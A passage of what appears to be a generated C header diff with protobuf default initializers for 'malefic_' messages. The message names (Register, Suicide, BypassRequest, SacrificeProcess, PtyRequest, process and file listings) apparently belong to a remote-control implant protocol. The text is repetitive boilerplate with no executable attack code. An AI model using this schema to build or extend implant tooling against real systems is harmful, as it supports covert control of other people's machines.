malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default}} +#define malefic_FFmpegRequest_init_default {"", "", "", "", ""} +#define malefic_PtyRequest_init_default {"", "", "", 0, 0, {0, {0}}, "", {{NULL}, NULL}} +#define malefic_PtyRequest_ParamsEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_PtyResponse_init_default {"", {0, {0}}, "", "", 0, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}} +#define malefic_PtyResponse_MetadataEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_CommonBody_init_default {"", 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {{0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}, {0, {0}}}} +#define malefic_Ping_init_zero {0} +#define malefic_Register_init_zero {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero, malefic_Addon_init_zero}, false, malefic_Timer_init_zero, false, malefic_SysInfo_init_zero, false, malefic_Secure_init_zero} +#define malefic_Secure_init_zero {0, "", "", ""} +#define malefic_KeyExchangeRequest_init_zero {"", {0, {0}}, 0, ""} +#define malefic_KeyExchangeResponse_init_zero {""} +#define malefic_Init_init_zero {{0, {0}}} +#define malefic_SysInfo_init_zero {"", "", 0, false, malefic_Os_init_zero, false, malefic_Process_init_zero} +#define malefic_Suicide_init_zero {0, 0} +#define malefic_Request_init_zero {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}, {0, {0}}} +#define malefic_Request_ParamsEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_Response_init_zero {"", "", {{NULL}, NULL}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Response_KvEntry_init_zero {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_BypassRequest_init_zero {0, 0, 0} +#define malefic_NetInterface_init_zero {0, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_SockTabEntry_init_zero {"", "", "", "", ""} +#define malefic_NetstatResponse_init_zero {0, {malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero, malefic_SockTabEntry_init_zero}} +#define malefic_Block_init_zero {0, {0, {0}}, 0} +#define malefic_ACK_init_zero {0, 0, 0} +#define malefic_Os_init_zero {"", "", "", "", "", "", "", 0, {"", "", "", "", "", "", "", ""}} +#define malefic_Process_init_zero {"", 0, 0, "", "", "", "", ""} +#define malefic_Timer_init_zero {"", 0} +#define malefic_FileInfo_init_zero {"", 0, 0, 0, 0, ""} +#define malefic_SacrificeProcess_init_zero {0, 0, 0, 0, ""} +#define malefic_LsResponse_init_zero {"", 0, 0, {malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero, malefic_FileInfo_init_zero}} +#define malefic_DriveInfo_init_zero {"", "", 0, 0, ""} +#define malefic_EnumDriversResponse_init_zero {0, {malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero, malefic_DriveInfo_init_zero}} +#define malefic_PsResponse_init_zero {0, {malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, malefic_Process_init_zero, 